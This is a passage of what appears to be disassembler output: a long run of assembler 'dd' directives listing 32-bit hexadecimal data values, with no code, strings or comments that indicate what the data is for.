0A71A3EEAh, 5E092901h, 727E5A71h, 34637835h, 293075A2h dd 0FECD139Fh, 51B40EB2h, 0CB0BA1E4h, 0C05BC888h, 6172CCBEh dd 0EF372505h, 1004FBB4h, 0ACFD1662h, 5C20BB27h, 0BC9DF398h dd 0AB55FD00h, 682E1EBAh, 0B23E046Bh, 0AC8717B6h, 9BF68420h dd 0C803DC05h, 2AF96E7Ch, 0C2A7A840h, 0C25EE7FFh, 797D3829h dd 4707853h, 0D5623868h, 546AEF1Ch, 0BC25B071h, 0B8595848h dd 2F30407h, 0F0075F2h, 154A9011h, 0C01E725Bh, 0CA501980h dd 0F8962CFFh, 30216458h, 0B9685450h, 1004C6ABh, 0BDCB1790h dd 359A2480h, 0D096FEh, 6305460Eh, 427C706Ch, 19D683EEh dd 41B33448h, 5271F6B5h, 34450B8Ch, 0D96355E4h, 0A7D23DB0h dd 0AA4AE817h, 71F4D880h, 443496F6h, 39EF3201h, 8C6D89h dd 3A6ED328h, 5CFD3D72h, 0DF25F434h, 0D24EC0A0h, 5B2665EEh dd 6811E433h, 15E7A16h, 0FAEF27D8h, 93A4286Eh, 49C810CAh dd 3D07E9C0h, 0DFEE114Bh, 0E8850763h, 0C8C0CB6Fh, 0F99AA3h dd 0E1924C8Dh, 78C32D40h, 190E5A0Ah, 6E0AC424h, 1C907CF2h dd 6AD9481h, 0ACC440B3h, 50A55B74h, 1A604D64h, 0C31C0AFDh dd 0E541234Bh, 0B6D5973Dh, 0A209686Ch, 491FFB5h, 22BED562h dd 7422A4h, 0FDFBA5AEh, 0A21C8689h, 7A1F9801h, 5A32ABC1h dd 0B28EC60h, 0EA185AAh, 63601CEDh, 7C6094Ch, 1B20DACBh dd 7879290Bh, 72253C00h, 1CE5E27Ch, 40B84490h, 0C10A1169h dd 0E600B32Ah, 662906A5h, 1D5DD2FBh, 26637BAEh, 38E35808h dd 0F3703607h, 91202F69h, 1DB92527h, 9401FE41h, 0CC82E0D8h dd 96C07B26h, 53C8F3Eh, 0C52E803Ah, 37B74B89h, 0F5022C87h dd 0EC11100h, 0E06401DBh, 2E9ACC81h, 0F0730044h, 29705834h dd 45EDE80h, 110C9C44h, 6B2A98E5h, 0C1B917F8h, 85145215h dd 68C0F8C6h, 97187616h, 7305DC01h, 26FC69E5h, 604030BBh dd 247EE209h, 1D7CEF56h, 48542C71h, 0AD606FBCh, 2B2DE8EDh dd 8033793Bh, 0D6449F39h, 166EF045h, 8116EAE1h, 61E05B74h dd 242F2A64h, 0EE005923h, 3A4C29BCh, 6DC4127Eh, 458A350h dd 0DA6FF093h, 0ECA41016h, 57EC8B0h, 0F6058075h, 9870FA94h dd 31DCEAC0h, 9B1A3BF3h, 90D48F4Eh, 2F1DC050h, 727167h dd 0F7A03237h, 8B0E5CF8h, 2E0DD48h, 820FEBADh, 0C8F2DCh dd 0D8935247h, 95C1D0DAh, 7F043300h, 96762C53h, 48C1C8A7h dd 0FCEAE280h, 8F66B9h, 0F24269BEh, 6B82A10Dh, 61DFD400h dd 0FA7335A0h, 0E8775299h, 0FD27D702h, 14E0189Fh, 0A122F6Bh dd 0CCF3C146h, 0AC23721Dh, 0E4E20970h, 40551006h, 0C612EE09h dd 0A6BC804Fh, 12AC6DA4h, 80767B3Fh, 0EB657358h, 4F02A5Ch dd 2530FB67h, 6022AC82h, 807A685Ch, 45187331h, 1489CFAh dd 906C7FE4h, 828B7B08h, 449FD804h, 98B225B5h, 0EB660E03h dd 580638B8h, 972E5AE9h, 301B7C48h, 0DDC0CB9Bh, 9361666Ah dd 3FC3FB18h, 0EDF200DAh, 0F62A6E87h, 1095880Fh, 8954E4h dd 0EA748CC5h, 4A659596h, 9ED18100h, 80E0FAABh, 2FD65E9Fh dd 18C92314h, 3E489A32h, 94516902h, 708B92D5h, 0B51D4444h dd 0E95DF332h, 7CEC6488h, 6C260056h, 0A932F479h, 28B8BC5Ah dd 67944494h, 108B96ECh, 0C3C78CC8h, 0F757F840h, 4EFF7327h dd 2E6C00AAh, 507AB6BFh, 0F507DF02h, 50831E58h, 0D81F4DACh dd 0B458F5BCh, 7A2C0032h, 0BA26EFD0h, 82B89C78h, 0CC9FE09Bh dd 12ABD481h, 29747802h, 0BFD97083h, 20029E18h, 0DBD1EFF3h dd 46F4F086h, 0E5C90232h, 1CCB1619h, 0E5F0D001h, 9F0FFF24h dd 0B2939ED4h, 5AA325ACh, 40116C17h, 2FD93D80h, 450781FAh dd 8FEE4855h, 50AE6232h, 0C1901E4h, 0D8FFDB56h, 2EDC1170h dd 90E2A260h, 0F1FA29A0h, 0E1603FCh, 1804046Ch, 1B54F7F0h dd 6E7030ACh, 470141E8h, 7C5B406Fh, 8C4DB8ACh, 30D4200h dd 21636C9Eh, 71311358h, 39FC2CEAh, 7A42000h, 56BB5725h dd 30360090h, 0CA05A8C5h, 8270BEBDh, 0C128C758h, 1879D04Bh dd 4B421C20h, 24E882D2h, 255EB8E6h, 5D00A7ACh, 0DD0A55D8h dd 0F5097812h, 0C8BB9497h, 746CF60h, 2C3D577Eh, 4375F07Bh dd 0CD05169Ah, 0BDE0DECCh, 71273DC0h, 0B99060F6h, 88D018F5h dd 7E8028BEh, 7C23573Dh, 82350919h, 0D4F2BA0Bh, 0BE64830Eh dd 960360B9h, 133A4562h, 182EDF8h, 51A41A48h, 0ACC6FADCh dd 0B02ECD12h, 0DF3140Fh, 6021196Bh, 7EF5AF0h, 7E89EB5h dd 89EE1516h, 742F2AF0h, 35004F23h, 54977751h, 0F03E58ACh dd 69EC7022h, 679D4h, 6E4A323Bh, 73A31C3h, 0F7F366CFh dd 1800B9EEh, 8DFDAF0Fh, 2268F05Ch, 3DC70E65h, 6A4F6C21h dd 0FAF746FCh, 0C09D896h dd 701BCB18h, 4CB0A0h, 0F50DA727h, 0B8A1B502h, 0F7BA2313h dd 131C1CF4h, 0E027E31Ah, 12144980h, 0F8989Eh, 1FBA223Ch dd 38140547h, 3A815758h, 0F1044328h, 2E34C4E3h, 0DF5151B0h dd 80ED2068h, 0AA2CD500h, 70815B4Ch, 0C7AE0D67h, 4270894Eh dd 0CC3031F4h, 161817E5h, 9C8BC3h, 88E5F7EFh, 4A16FDF8h dd 6E3088C5h, 7382A900h, 12EFF6EAh, 0C0809D22h, 0B0D3C89Bh dd 0FB8E40BCh, 10972CF3h, 0CE6218E9h, 0E6BBE096h, 5F4BC492h dd 0E401146Bh, 0E543DB7Ch, 982883FDh, 2918A08h, 0D3020AB9h dd 88C35FC7h, 9AC6A013h, 0C5F4CCA5h, 0E619C4AAh, 18472248h dd 2784771Ah, 2C97FCDBh, 6708E826h, 31FC13E1h, 0ED900A48h dd 3AC63B1h, 7AB24985h, 3643888Eh, 1373003Fh, 778F7662h dd 55276526h, 0C414E508h, 17EA6058h, 0FF450051h, 0FC5FA24Dh dd 0BE2EE2E7h, 0B5C76C87h, 0DD049C9h, 98EC90F6h, 0ECD10054h dd 2F1BF85Eh, 1313BB5Fh, 0D882C90Fh, 1A08008Bh, 0C749F3C3h dd 344C7574h, 70A18160h, 0AC504E62h, 59B625ABh, 0C3BC5493h dd 91712227h, 2461AB1Ch, 0B0FA7AC4h, 0D3B6515Ch, 41E0C68h dd 269C5111h, 0C900331Bh, 65BAB5A7h, 0EF0C06ACh, 987A8A42h dd 0F5E00317h, 5A007852h, 0F4739D2Bh, 6DBD0018h, 89249CE2h dd 0A4098F3Ch, 0F390D26h, 80C0AEE5h, 572AB584h, 66DC2637h dd 0E7FA4070h, 2E809F6Eh, 5E6C0059h, 0A9EFFB47h, 3600ED71h dd 28E8BDF1h, 0F839F3F0h, 291AEC50h, 80C0BA94h, 5F89C651h dd 8830F143h, 4C26F9DAh, 0FB0F01E5h, 60EC4197h, 4AA8EF56h dd 0D0C04432h, 958325F2h, 732716ABh, 6D9D0146h, 24CB0FDFh dd 63193738h, 0F3698D13h, 99C19F4h, 0B404CA98h, 21BCF180h dd 61001B56h, 0E53F6350h, 0EBB71F2h, 74558160h, 0FD4CA2E1h dd 0CDC1C872h, 28790402h, 606E531Bh, 6005ADC0h, 83718A4h dd 0B2806A7Eh, 248B009Dh, 899EF806h, 0DC009FEBh, 0E3687A0Fh dd 3A7527CBh, 600C6CAh, 4BBDCEB4h, 2F01B7B5h, 5FCB479Fh dd 21DCF5EEh, 44BA07AFh, 4026A66Bh, 0C91525BDh, 80F85700h dd 90DF634Ch, 6C8A481Dh, 0DDC82Eh, 72516170h, 4B006493h dd 409E8E2Ah, 0C0C6B209h, 14D2E568h, 4400EAF6h, 51E724E9h dd 0E84F922h, 31A6948Ah, 7B77C3C1h, 0B5D88023h, 0D92789BEh dd 88E93DF4h, 5CE6AF80h, 8758C8D7h, 218F274h, 2D10D428h dd 8B048C23h, 3E3AAA39h, 54F29040h, 62809E2Ah, 0E9B42B48h dd 0EC890304h, 0E1E1E8FAh, 0ACC307E3h, 457DE039h, 38FC0024h dd 45BB120h, 0B530883Dh, 76464143h, 8FC300DDh, 5010A493h dd 0EF0A63BDh, 30E3DBE4h, 0B7CE5706h, 78141E71h, 8DE80160h dd 0E42F10A8h, 0B40C556Fh, 594E9653h, 29D20028h, 0C740C107h dd 0F03AC96Eh, 215030CCh, 3292C8Ah, 0A7AE3291h, 4E17EDECh dd 510C9BC1h, 307863h, 7D6CD99Ah, 6BEECC3Ah, 614A5500h dd 85183FE6h, 0F9D5012Fh, 0C65705A6h, 0E5A180B1h, 14697165h dd 0E4ED07A4h, 70EE6882h, 0E6ADBE52h, 0D75095F2h, 4E18F344h dd 18706E6Bh, 0A8A49Dh, 9665B53Dh, 0D4798A64h, 0DECF9E24h dd 5CA70Bh, 8D50EDDDh, 0FC0607ADh, 7EF2A588h, 7BC6CCC0h dd 0E70D1E1Ch, 512A1BFBh, 50D8E400h, 5A0B01BAh, 974796DEh dd 92B810ECh, 0CAF200C2h, 43682E71h, 0FA0C4524h, 0A95E1E95h dd 0ECF955E1h, 6C5AE140h, 17321FC7h, 14494420h, 5AC1AEC9h dd 29803B3Ah, 0D5E56BC8h, 2F05027Eh, 8AC0B466h, 2927D030h dd 38C11004h, 0B5BDC4CCh, 29218900h, 310070B6h, 0C765B2A5h dd 1D55E601h, 0C05DB0C8h, 0F1C228C9h, 0B519BE2Fh, 0FBA9CF9Ch dd 65957D10h, 6C01B675h, 67E53CA3h, 809E49C1h, 3024C534h dd 290406Dh, 0A92B7390h, 0ECD2FA0Ch, 0C14409E1h, 71982221h dd 0A03BCCC8h, 73FB58h, 7C7A1314h, 3B911B34h, 0CF926369h dd 895C069Ch, 4200E9F3h, 6B225606h, 3F8AE0Bh, 5545A91Ch dd 0A900E5E1h, 8BABD5CFh, 28BF7Dh, 0B316E761h, 2F52D246h dd 931BE012h, 13E54803h, 0A6910060h, 549FC9CEh, 21C25C35h dd 616697h, 3AC6421Fh, 0CAA0CB00h, 8293A7FAh, 0B970FCCh dd 0C021E0EDh, 2434B3BFh, 9E1FE614h, 8A4DC99h, 0F59C981h dd 32707B27h, 2D101DB0h, 0B4693024h, 0F015150h, 0E3BB0867h dd 188390ABh, 5F965D14h, 2DF5F900h, 0DFBCDA52h, 16DEEF7h dd 44FD7F76h, 0D414EADEh, 2B631BD7h, 80225ED1h, 1F94FCh dd 6933C688h, 0F3736431h, 9E8A7B12h, 26709077h, 1DDFACh dd 338AD752h, 0B6C4A07Fh, 0BA0A9902h, 419A3C01h, 5A0CDD40h dd 0D5019643h, 48C12229h, 0C04B0CC7h, 292FFB21h, 250C6AD7h dd 19448B30h, 0FFA902A1h, 28D9FA3Fh, 9EE798A0h, 0A0A6DE8Bh dd 0D50F0702h, 181B227Bh, 0AA806E68h, 0DC0F0056h, 0CD32C15Ah dd 0F11FED18h, 8848951Dh, 67A424B3h, 96C24002h, 0BC71D9A2h dd 0E068C51Eh, 0E56A4C01h, 0E0BD62B5h, 81EB9718h, 0DC078B25h dd 0C909BB9Ah, 0BD3216D0h, 0F5C24805h, 0E5461103h, 39006145h dd 0C90A169Fh, 6CE8ADh, 766F5A69h, 7DE9D0F0h, 7E74463Eh dd 98CE1C34h, 8A26A404h, 6892933h, 0CCCD5C1h, 238F8845h dd 93942900h, 0C7437C16h, 0B5BF36A6h, 0DD002002h, 565FA902h dd 0D5D8C2h, 88F648B7h, 971E1444h, 0A7381F00h, 0BF8EC732h dd 41A0E8D7h, 249EF9F7h, 700A248h, 87DD12CFh, 13993D64h dd 30149CD6h, 55CAD480h, 465B5300h, 3957CE24h, 15C07826h dd 0CC67E78Bh, 695AE900h, 685CD824h, 0C12414A4h, 4E024D78h dd 0A0E1D997h, 32ECBAB4h, 13C7FC8Dh, 1012F34h, 539316AEh dd 862E0h, 96A3C0D4h, 320DA779h, 0EA094F44h, 0D8F4F0A0h dd 0B2481EA3h, 78B60347h, 626973A4h, 1C3178DEh, 0F218EC48h dd 0D500609Ah, 98AD9EB5h, 75BC47Ch, 93141907h, 40E5678Dh dd 0B1F21A17h, 4C859E24h, 0D30F05C0h, 2432217Bh, 0A4611D98h dd 0CE0F125Ch, 21CC2018h, 0B3005953h, 67EE8098h, 29589485h dd 0F704E93h, 7944A32Bh, 0F38AFh, 1810A3C3h, 0D00CE321h dd 18E33898h, 260F0A04h, 454C5A7Bh, 5FF0409Ah, 0EBC10F50h dd 14CB6A1Ch, 8FC69240h, 62CFF3BFh, 6CE569FCh, 0C2029064h dd 0F0465A6Eh, 374C6DDh, 4F879E58h, 0A3E84136h, 0FF050A57h dd 5F97DE5Eh, 0C05DDC08h, 7994A336h, 226C28D1h, 0CE0E06E0h dd 319774A3h, 946B400h, 3992105Fh, 2A380090h, 3C66550h dd 5B60BA80h, 14E54F90h, 6B54A128h, 115CE4h, 0C3307927h dd 0AB92B0B2h, 9CBC5658h, 0D1800062h, 0EEEBC618h, 1B07937Ch dd 6035FEA1h, 1F2F6430h, 0E09713E2h, 0D0C85992h, 4011850h dd 0DF7991A3h, 12F12C0Eh, 86CA3D9h, 5E809D9Ch, 0B6A497A0h dd 39D8007Eh, 352B7405h, 0B801FBEFh, 806AE1B5h, 832A8E9h dd 14119701h, 32670AACh, 8AD910BCh, 59BC04D6h, 8B14C4C1h dd 268800BCh, 7921A229h, 3C8B221Bh, 0CA8CE500h, 0BFE7BCF6h dd 0B7903230h, 0F098AEF4h, 0A600A1CDh, 0FF35C338h, 7194A7F3h dd 0BD6A1A7Bh, 60479162h, 0C605644h, 701424Ch, 929364FCh dd 0D048F2D2h, 0D10C88FDh, 0B0DA7500h, 7BBC97F6h, 0D55F2C95h dd 809F91B0h, 7B290F5Bh, 10245802h, 0F5AB6B0h, 0E49E8100h dd 4227FE7Ch, 0BC164818h, 8CE6BCh, 42C576CCh, 0CE4FBFEAh dd 21FCE130h, 0E249081h, 0C67FFD06h, 767DE500h, 0B1E1191h dd 9907C7ABh, 0BF504489h, 0BB214808h, 73970198h, 1882A904h dd 9F23889Ah, 1EE7103h dd 0F51E28CDh, 5AC82859h, 0A31CDF18h, 0A90798Fh, 3B00E2DFh dd 0A9D2AB57h, 1E66A0Eh, 0F151DDF7h, 87566671h, 75C81371h dd 2B7AC70h, 0FB2B2ED1h, 914E00A3h, 697A145Ch, 0C0C7972Ah dd 46D48A00h, 0B80E6EEBh, 0C14E019Bh, 0EE3CC869h, 43062AFh dd 15AA92B4h, 2079D4A4h, 2114639Eh, 1F14C46Ah, 1D7E9335h dd 913069E5h, 0C9B6C857h, 646897E1h, 0C01DFFAFh, 5492DD40h dd 1172028h, 366B0A0Fh, 2DE3C4C1h, 0B8B90C78h, 688CCAAh dd 2BBF4527h, 62036901h, 3BB77447h, 0ABEFA86Dh, 0B4ED54AFh dd 79F86087h, 0F72FFD43h, 3E55B758h, 0CFAB0C3Ch, 929E1h dd 0EB633EC0h, 0BE61DA11h, 665E477h, 0DC33A6F0h, 4EABE1D9h dd 0E2CC23D0h, 13E8007Bh, 78D5FBE7h, 0D34879ECh, 9F99606Eh dd 2658CE3Fh, 7387B8Bh, 0C21E5A4Ch, 74E1262Dh, 8DAC4866h dd 4F65AD00h, 31ED8AACh, 0EEA70A24h, 828C2D3Ah, 54FA0479h dd 0C746D040h, 63074172h, 5C44D074h, 0ABF34980h, 0E9E80779h dd 43D41B26h, 64A015FEh, 0F51203EAh, 540ED35Eh, 0B1458044h dd 280EDDh, 0C62D2031h, 6AAE6DCEh, 63D6FC00h, 23ADDC65h dd 2EDE30E7h, 0D1D99410h, 2490EB48h, 0C3F046Ah, 90F049A8h dd 14B083h, 0FB709759h, 66743F62h, 0F5E37301h, 0DC04D638h dd 46B0C8C2h, 0E29200C6h, 8E57A65Ah, 3900304Eh, 0BCCD067Dh dd 52AB95EFh, 0B1728C46h, 2653012Ch, 800FD983h, 2045FC49h dd 3002BAh, 6BCD8066h, 9A4C0960h, 58412B01h, 0DF1775E1h dd 822A4087h, 0B026F3D7h, 8A60ECAFh, 0B3805096h, 0FB76AEE1h dd 4B3A056Ch, 42E7EDh, 5B288EB2h, 0EA6234F3h, 48541889h dd 234B3Ch, 3600F15h, 25D79A0Ch, 0AA145A00h, 56D1C2CBh dd 952C0041h, 354F01BCh, 5D008A44h, 0BAC979EFh, 5C57C34Eh dd 0DDC0D04Bh, 0AF4AEC1h, 6614E20Ch, 0E2C5199Ch, 1E5EF655h dd 98DB02h, 70C3FA7h, 0F100CD6Eh, 0C995FBE1h, 12F53EFh dd 1425A92Bh, 804AB5B3h, 4433A5E1h, 1E27C8h, 72A49F3Eh dd 824F226Dh, 57F6D900h, 6BA64AA2h, 2D6F22E5h, 0A1C90801h dd 4F699D09h, 0F9616DCh, 46B1EC6Ch, 11EF2006h, 715CC7FAh dd 87604CDEh, 43747BF3h, 93560080h, 1DEAE235h, 8527DDE0h dd 3A2DB8DFh, 8900BA04h, 3DEE9854h, 0E40BB5D2h, 0B4AEC2h dd 4C373265h, 6452009Fh, 8EA7A286h, 0DA01B799h, 6E221BEAh dd 0F3B916h, 40FE133Eh, 0EB50D84Eh, 2D2A8300h, 0D4F49B5h dd 79CD00A7h, 103FD087h, 37605208h, 0AF225B81h, 0DEFC001Ch dd 0BFE3C892h, 671C2FA2h, 37430688h, 3D2C0C82h, 0F3CDA8h dd 7A25B4E1h, 0EAF4CAEDh, 861DCC00h, 37A2B8E7h, 0E8AB31BFh dd 9135D838h, 490095C8h, 3F8CEE2Bh, 86154A8h, 0DBA35E80h dd 0F1D8450h, 0EAFC0393h, 6D44903Fh, 9D22390Ah, 0DB6088A9h dd 0D8E84Ah, 11F98DCCh, 25F1A2BBh, 27297600h, 0C3BA550Ah dd 0A8F3500Dh, 5D5900AFh, 0AB9AAED3h, 3F3B85A3h, 77BC8C76h dd 0FF72A8B7h, 0B0153C70h, 391E6171h, 8ADECE57h, 84E42CC0h dd 27C288h, 0EDBB9088h, 46001279h, 3211AA8Eh, 3B7D0B31h dd 3B807119h, 4B02B041h, 0DE006059h, 0DF792F72h, 7BAEF48h dd 7B27409Ah, 1F188CD9h, 0BE5F0905h, 207903B2h, 80A984E8h dd 473ADA78h, 0C1A0128h, 5005BD58h, 1FD606C4h, 17C5C4Eh dd 0FA2FE1Ch, 1ECFF80Bh, 0FDDAB302h, 1C284CF4h, 5B0881C4h dd 0A0801450h, 681A7514h, 45CA3Eh, 301E719h, 7AA66h, 5FD1464Ch dd 30D770CEh, 590AB7E4h, 347D583Ch, 0A1E80832h, 0DB866680h dd 0F8A0D01Ah, 162200A2h, 60B5B885h, 0CEC9263h, 95E56900h dd 0E593E7Eh, 0BA4D0189h, 91CA5D2Dh, 0B5F44134h, 0BDD8D407h dd 6C908FE2h, 3F20F3Ah, 89C02DB9h, 0F9291190h, 991F1109h dd 9F08FE21h, 287D9497h, 219C0611h, 8C4C08EAh, 8140194h dd 8BB1D45h, 0E094BA16h, 14A5283Ch, 5180E131h, 5910BF02h dd 0A9813268h, 0EDDCEF10h, 603FC300h, 0F19546B5h, 24B812h dd 7A5931DDh, 0D467D86Dh, 0E92B6500h, 0CF60CCE7h, 0F15F0084h dd 68D6AA18h, 0F31E1062h, 0BD00455Bh, 0B5BEDD93h, 15EA0Bh dd 9EF0668Eh, 0E2C45589h, 75B7E800h, 78B264EDh, 0CF510EFFh dd 0D0C03617h, 4E445939h, 0B3ECEB00h, 0E1A0AB02h, 0F18500BDh dd 0B12AED96h, 0CE0090FFh, 395C24D7h, 1C8EF89Ch, 2DC925h dd 915A116Dh, 67F28D10h, 0EFF0DA00h, 0B23192A8h, 6BA4000Bh dd 0B9996996h, 0F300B33Fh, 0DDDEB491h, 34A821h, 0F80E4352h dd 1B3EF64Eh, 572EC507h, 0EE20E293h, 360DE34h, 78C6DA83h dd 49005419h, 0B037055h, 4B0694h, 0B83B6373h, 0BF97FDB0h dd 0EDFCF3Ch, 20D2C603h, 2FB43D5Ch, 0E36200C7h, 5312C939h dd 0D5009323h, 890BCA04h, 679529h, 906C8171h, 0DEBEE182h dd 0F6396900h, 2038E235h, 0BF950074h, 0B4D1799Dh, 0B000D04Eh dd 41F6033Fh, 0B3D268h, 42322094h, 0C5E3CD86h, 45A7A3Ah dd 8429A8F8h, 8099ACC2h, 21833A8Eh, 6A42009Bh, 0AB39472Ch dd 30002062h, 4901D4CCh, 0A87CB5DCh, 405F568Ch, 0D3B63A34h dd 0E9FEF500h, 1DE0F9D2h, 0C0F81099h, 430DF116h, 82006A93h dd 5861E129h, 9BE84FDh, 9BBFAF27h, 967305h, 38427EA0h dd 0F30E9949h, 0E09C162Ch, 6B2F4F4Dh, 34A100BDh, 0EB9642E4h dd 35020B1Ah, 0FDEE67F5h, 15BE4159h, 801864h, 91E6549Bh dd 0DC12168Dh, 0C053CA00h, 2782D62Ah, 0C8EC633Ah, 0E6E0E573h dd 5D3E9DC2h, 0D98A81B9h, 5CDACBD1h, 7A8090BCh, 0B72F2656h dd 0C1001183h, 9EBAC7F9h, 72F5AEBDh, 6CCF0001h, 8547266Eh dd 0C165BCAh, 9C400224h, 48282B63h, 57371320h, 61A100A9h dd 0EE399904h, 27477803h, 6BF37Ch, 0A633AA90h, 0D1E04FE1h dd 31E7DF00h, 9FF0A938h, 0CC14003Fh, 18E252C0h, 0FA00435Dh dd 8553A6BAh, 9E863Bh, 7D7CDAEEh, 2D3C2002h, 520EA10Eh dd 531C20ECh, 0FD1886Bh, 5E7CB018h, 496D37A0h, 0AF185D11h dd 0D9181C15h, 0A27754h, 0C76E1C7h, 61CD3444h, 8ABE4F03h dd 8FD18F58h, 2191B740h, 0FB7000E0h, 69680CB1h, 7E1FD388h dd 0B4052DECh, 0A81F648Bh, 63F90F40h, 0A2FE2h, 18F712CEh dd 9D548728h, 0E553Eh, 0BF0D0CC0h, 657B8Ch, 8EBBC401h dd 2624D8CFh, 22003FFCh, 7FFD6620h, 0E9DFE3h, 0C60BF58Fh dd 0C27EDC31h, 28A653Eh, 6ADA9D9Ch, 0BA44E0B2h, 0EDF800A0h dd 3037914Fh, 9A004022h, 0E4D2BDE0h, 8C7341h, 949B094Eh dd 0CECB0629h, 1CA0BF3Bh, 64001B82h, 0C57A1025h, 4EF473h dd 0F44FC43h, 0B766CE32h, 34242F00h, 9106C371h, 0B39F0322h dd 45EDEEA1h, 0A99295D0h, 51F8FF00h, 698AB0E8h, 0B6F40041h dd 0E36AB72Eh, 7F013E57h, 7B6ED148h, 0EFC2611h, 0E4320066h dd 534BD5B4h, 9D0036B5h, 0D838FCC2h, 0DAF2B8h, 0BB041660h dd 302D1B2h, 819D3B39h, 2C724310h, 26E0FE88h, 0E3600EEh dd 0DE3BB13Ch, 107379ADh, 3F182000h, 0EE62643Eh, 0CE7400E7h dd 9F0BD87Eh, 0C300229Dh, 0BD798403h, 0F3215Ch, 399116BCh dd 52855F5Dh, 7BF2BBB8h, 0CB70C21Ch, 0A288017Eh, 327A8C9Dh dd 7B80F845h, 5AFE9A6h, 7756CD67h, 0D1F800C2h, 0C462423h dd 0EFE31600h, 762BB831h, 0FCC61419h, 2702E01Dh, 0B18FC040h dd 1CBFDA00h, 33EF00CDh, 0E7246DD5h, 0DD01C0BBh, 12A104C1h dd 85306C22h, 71470034h, 0C0DFAF68h, 20F4624Ah, 31050400h dd 9D3E19Ah dd 0E6A214B9h, 0AE04E041h, 292B54C6h, 5E005032h, 0B6122A45h dd 9600788Ah, 0A87B189Ch, 0FB755FDh, 0E3D8F3DBh, 0F84C0E96h dd 232177E0h, 91021B2Fh, 0C780E233h, 681C602Ah, 13F80066h dd 2BAE0A29h, 0C500E41Ah, 97AA3F63h, 7ED422h, 4C196F95h dd 3042A7DAh, 0A8177B0Eh, 0D3B540FBh, 60265F58h, 42638055h dd 2000251Bh, 17313810h, 7057B0B3h, 52180083h, 0C694EA14h dd 0D07FFBBEh, 88981A79h, 0C1AB3E00h, 0D9346A0Fh, 2B10266h dd 0A12A8156h, 5300A446h, 3D6F4970h, 0E07E341h, 5596085h dd 0BC32D6C3h, 0B76E3CF0h, 0C1DE5D00h, 51BEDCC7h, 1ADD2A56h dd 89A8019Ch, 1CEDB2FBh, 95BFC075h, 0A10CD52Eh, 346809h dd 0B185BE10h, 0EF4500D8h, 4F21B217h, 7100AFD5h, 0FB3FBBA8h dd 0FDA337Fh, 2D509857h, 4B475340h, 0CFF6343Ch, 686CA800h dd 0AF0AF7Bh, 4DD00071h, 95D51675h, 0B2011BC8h, 0BF2573DAh dd 0E8F3695Fh, 0E7F51Eh, 5E7A17CAh, 7EED6D4Fh, 0DAFFD2FAh dd 97F498C0h, 4AA27900h, 22F99F41h, 91E20082h, 62D5697Ah dd 0D7139E9Ch, 9A019A76h, 0CCF5A865h, 7A4E4B30h, 0C1EF00DEh dd 85F059FFh, 0CB1E3D39h, 8D00BFC0h, 0A04DC73Bh, 83358CFh dd 44E3E600h, 24840F58h, 1E074DB8h, 0F5E78BB5h, 453B4A70h dd 0DA7D38FCh, 0CD02F680h, 92C94F96h, 2160381Fh, 0AD1C6847h dd 0E4418DB0h, 34C01F98h, 0BC11C123h, 0F82419A7h, 92001FF7h dd 5C1E72E9h, 0F2B2C54h, 193FBB6h, 0E3DA8660h, 4E739E15h dd 0ED30C40Fh, 2834C038h, 1FF067E7h, 0CE734C3Ch, 30001C89h dd 2B4794BAh, 99AC7E00h, 0E05BEBDFh, 2A24002Dh, 51C64854h dd 2C1FBD36h, 0C009B74h, 0BCA6901Fh, 0D7220105h, 0BBD8DD33h dd 0B79FFC36h, 0C9F3FE00h, 0B857DC8Bh, 0B0410007h, 7BAD48E4h dd 7801C19Eh, 0E9B48E2Dh, 2ED0F7D1h, 50181861h, 0E594C864h dd 0C8C49503h, 0D8B0BDEEh, 1EF78B3h, 0D432AE6Ch, 0EC7C42BEh dd 620065CCh, 6E0C3004h, 82D543h, 0AB2FF04Bh, 1BEB635Ah dd 0F3513800h, 24F9AEDCh, 0C9FD00EFh, 0F51CB8C8h, 3E3D6E92h dd 788925E4h, 0AE931DCBh, 724647BCh, 626C109Bh, 0D5040BDEh dd 9301E63Bh, 0B2A2E880h, 32971D99h, 94D43C21h, 0A3EC0058h dd 6614ACDh, 9301DF10h, 0F6649C69h, 28E8E157h, 2CF700F1h dd 830FC00Eh, 62008874h, 0BA46158Dh, 1CA38Ch, 33C77814h dd 76167AF7h, 0E4CF7080h, 0E67AC9h, 38A6E52h, 0FD94646Dh dd 410EE80Eh, 124E403Ah, 0DD1060h, 0E94654CAh, 0A317FDBAh dd 0CB006D78h, 57F770BCh, 7252C8Dh, 3CFF0E9Dh, 56948043h dd 3A009933h, 0EBC1FB9Eh, 9FF2C0h, 7692429h, 0FA9838B5h dd 17004B7Fh, 30253931h, 12F42037h, 0A9735Bh, 0FCF5DCB7h dd 0D8078E35h, 0C4B33C51h, 777109Ch, 0E059F746h, 396E100Fh dd 0D0008FAEh, 0C3EAAFE4h, 2AD717h, 0C84963A0h, 85C2568Ch dd 5AFB1400h, 0E35880DEh, 38070077h, 0CEF023AEh, 680F8C2Eh dd 0C06CD197h, 267C96B5h, 473300F9h, 36DDEABEh, 25006F67h dd 0FA63AFDEh, 0AA7E69h, 7162AE0Fh, 51261301h, 58688F30h dd 23CCA5Fh, 8846D3A1h, 0E7806EEEh, 0CB0E2101h, 49FAD81Eh dd 6BCD7CC0h, 14F06C85h, 846623F9h, 8D52710Fh, 8C9BFB00h dd 22007E9Ch, 948E3876h, 1291F85Ch, 3E98BCh, 470A28B4h dd 0FF030B21h, 7F69C1AAh, 32B8B035h, 480E1D3Ch, 78E480B0h dd 90875F41h, 9CF23Eh, 3F512B59h, 0ABB547h, 12CF242Eh dd 8F55609Ah, 2657E203h, 0E71C6F70h, 59149E20h, 1C4BFC8Ch dd 80AA0437h, 23F1F0E6h, 0BF07F280h, 38A315EFh, 57DFDB10h dd 7CA50F2Fh, 0F54021CBh, 0CABC806Ch, 99D3400h, 0C40BE0AEh dd 40C00C7h, 723CB90Dh, 0E7F28624h, 3106E48h, 36E4EBF8h dd 553D90DFh, 2DCD0028h, 0E025336Fh, 4D0E0469h, 0C02A8B7Ah dd 0D0AB582Ch, 0D9F118B3h, 0CAEFBC87h, 3FF8F700h, 0AE946E3Dh dd 0C680010Eh, 92722BA7h, 3AA84071h, 0D100B827h, 0E0030F14h dd 176E8859h, 10FF0D61h, 0F9018C0Eh, 0D3CAAC11h, 3822E0C2h dd 73C0E300h, 0E25B9281h, 0D72B09D6h, 90004CB5h, 6A18C472h dd 1FB8BF00h, 24D1B955h, 30A7EC9Eh, 98D069C2h, 0E400582Fh dd 0CD571175h, 14FB331h, 0A92A5FE8h, 20BDDC6Ah, 257D20F9h dd 11475A09h, 0C54487B8h, 9E2E93C0h, 67210065h, 0B6373354h dd 0CF48A01h, 90F56900h, 2F8992FBh, 219700A0h, 22EE425Fh dd 0CB3E6F25h, 